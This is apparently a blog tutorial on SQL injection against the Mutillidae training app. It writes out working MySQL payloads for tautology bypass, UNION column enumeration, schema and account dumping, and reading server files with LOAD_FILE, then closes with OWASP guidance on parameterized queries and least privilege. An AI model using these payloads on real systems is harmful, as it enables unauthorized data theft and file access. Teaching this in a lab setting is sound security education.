In this post, we will take a look at SQL injection and will use Mutillidae (NOWASP) for our learnings. SQL injection attacks are typically created as a resulted of dynamic database queries that include user supplied input.
Specifically, we will use "Mutillidae -> OWASP 2013 -> A1 - Injection (SQL) -> SQLi - Extract Data -> User Info (SQL)”.
First on our agenda is to test the page to see if the possibility exists for an SQL injection. To do this, let's use the "tic" (') character to see what we can learn.
Hmmm! From the 'tic' we were able to learn a reasonable amount of information about the database which supports this application. What are some of the things we have learned? Let's take 2 things.
1. "File" - We can see the entire path of the file which is handling this error. From looking at it there is additional information which can be inferred, such as this is more than likely a Microsoft Windows device on which the server is running.
2. From the "Message" we can see that this is a “MySQL” database. Why is this important? The database in the backend will determine the type of interaction we can have with it via the application.
Let's expand on our "' with "' or 1=1 -- " (note the space after the 2 hyphens. This is needed for MySQL comments)
Whoopsy!! Looks like we dumped the entire table above.
Looks like we are making progress! Let's see what else we can do. How about we try to determine the database version? For this let's try to leverage "admin" account to reduce the number of rows which will be returned. So our query will now look like "admin' -- " (do remember there is a space after the hyphens)
Trying to get the database version, let's try "admin' UNION SELECT @@version -- "
Bummer!! So we got an error above stating "error: The used SELECT statements have a different number of columns". Ahh man, so now we need to ensure the number of columns are balanced. Let's try to learn the number of columns in this table. Let's use "admin' UNION SELECT NULL -- "
When we run the above we got the same error again about the number of columns. So let's build on this to find out the correct number of "NULL"s we need to use here.
Next try ...
"admin' UNION SELECT NULL -- "
... and then
"admin' UNION SELECT NULL,NULL -- "
... and then
"admin' UNION SELECT NULL,NULL,NULL -- "
... and then
"admin' UNION SELECT NULL,NULL,NULL,NULL -- "
... and then
"admin' UNION SELECT NULL,NULL,NULL,NULL,NULL -- "
... and then
"admin' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL -- "
... and then Finally
"admin' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL -- "
From above, we see that rather than the error, we now have columns reported as 2.
Now that we have our number of columns, let's try to get the database version ... again ...
We use "admin' UNION SELECT NULL,@@version,NULL,NULL,NULL,NULL,NULL -- "
Bummer!! Nothing was returned, we got the same screen as the one with 2 success.
Let's look at each columns to determine which ones will accept our strings or at least which ones produces the "username", "password" and "signature". To figure this out, let's put some strings in each null field.
"admin' UNION SELECT 'Column-1','Column-2','Column-3','Column-4','Column-5','Column-6','Column-7' -- "
From above we see that Columns 2, 3 and 4 are the ones which we can use with our strings. Let's revisit that attempt to get the database version. We will also replace the "Column-X" with NULLs
"admin' UNION SELECT NULL,@@version,NULL,NULL,NULL,NULL,NULL -- "
Good progress so far. We have now managed to obtain the database version.
Let's continue! How about we dump the database schema. so we can see a list of tables with their associated names, etc.
"admin' UNION SELECT NULL,table_name,column_name,NULL,NULL,NULL,NULL FROM information_schema.columns -- "
Now that we have gotten a dump of the database structure (note image above is a snapshot), we can now look at the other tables, to see where we may be able to extract data of relevance.
Going through the list we see the "accounts" table. This list contains the user information which we were able to obtain at the beginning of the tests. Let's dump table "accounts" to learn more about it.
"admin' UNION SELECT NULL,table_name,column_name,data_type,NULL,NULL,NULL FROM information_schema.columns WHERE table_name = 'accounts' -- "
We see there are additional fields such as "cid", "is_admin", "firstname", and "lastname". (note image above is a snapshot)
Let's see what we can learn about "is_admin".
"' UNION SELECT NULL,cid,username,is_admin,NULL,NULL,NULL FROM accounts -- "
Looks like the value for "is_admin" is either "TRUE" or "FALSE". From this we have a list of admin users in the database.
Let's take a look to see which user the application is accessing the database as.
"admin' UNION SELECT NULL,current_user(),NULL,NULL,NULL,NULL,NULL -- "
Very interesting! This application is running as root ...
.. and what database are we connected to?
"admin' UNION SELECT NULL,database(),NULL,NULL,NULL,NULL,NULL -- "
Let's now try to read a file from the server's filesystem ...
”admin' UNION SELECT NULL,LOAD_FILE('..\\..\\..\\..\\WINDOWS\\system32\\drivers\\etc\\hosts'),NULL,NULL,NULL,NULL,NULL -– “
As we can see we managed to load the contents of the "WINDOWS\\system32\\drivers\\etc\\hosts" file.
Ok! let's make it a bit more interesting. How about if we knew of a specific file which had corporate secrets? Let's grab that file.
How to secure your organization from SQL injection
We did a lot in terms of demonstrating the effects of SQL injection. However, understanding how we protect ourselves from this is just as important.
The guidance at this time based on my understanding and according to w3schools is "The only proven way to protect a web site from SQL injection attacks, is to use SQL parameters." SQL parameters are values that are added to the SQL Query at execution time in a more controlled manner.
The guidance from OWASP is that one out of 3 options are available. The first and primary option is the use of prepared statements with parameterized queries which is similar to the guidance of W3Schools. Alternatively, there can be usage of stored procedures or finally the escaping of all user supplied input. Escaping of all user supplied input should only be used as a last resort when you are unable to use either parameterized queries or stored procedures as there is no guarantee that it will prevent all SQL Injections in all situations. OWASP also provides additional guidance such as enforcing of least privileges in which you restrict the level of access your application accounts have to the database and white list validation.
Parameterized queries allows the database to distinguish between code and data, regardless of what the user inputs. Prepared statements ensure that even if SQL commands are inserted by an attacker, they are unable to change the intent of the query.
As it relates to OWASP option 2, stored procedures, OWASP states that this is not always safe from SQL Injection. However, when implemented safely it can have the same effect of parameterized queries.